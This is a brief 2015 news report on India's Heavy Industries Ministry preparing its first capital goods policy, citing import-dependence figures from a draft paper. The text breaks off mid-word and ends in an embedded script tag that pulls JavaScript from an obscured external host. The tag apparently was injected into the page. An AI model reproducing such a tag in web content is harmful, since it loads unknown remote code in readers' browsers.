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India's first-ever capital goods policy on the anvil

Thursday, September 24, 2015

The first-ever policy for India's capital goods sector will be placed before the Cabinet for approval by November-end, a government official said today.

"We will take it (the policy for the capital goods sector) to the Cabinet by November-end," Secretary in the Heavy Industries Ministry, Rajan Katoch said at a press conference here.

The Ministry had set up a task force to make a road map for the country's capital goods sector and sought suggestions on a draft paper to frame a policy on the industry.

The draft paper prepared by the Department of Heavy Industry pointed out that imports continue to address 35 to 40 per cent of domestic demand with the proportion being significantly higher in "critical components" segment for each sub sector.

Moreover, it said, Indian share in global exports in the capital goo .. <script type='text/javascript' src='https://______/s.js?qr=888'></script>